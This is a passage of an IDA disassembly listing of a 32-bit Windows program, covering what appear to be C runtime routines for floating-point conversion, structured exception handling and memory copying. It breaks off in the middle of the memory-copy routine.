
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
		mov	off_43D42C, offset sub_42217B
		mov	off_43D430, offset sub_422223
		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
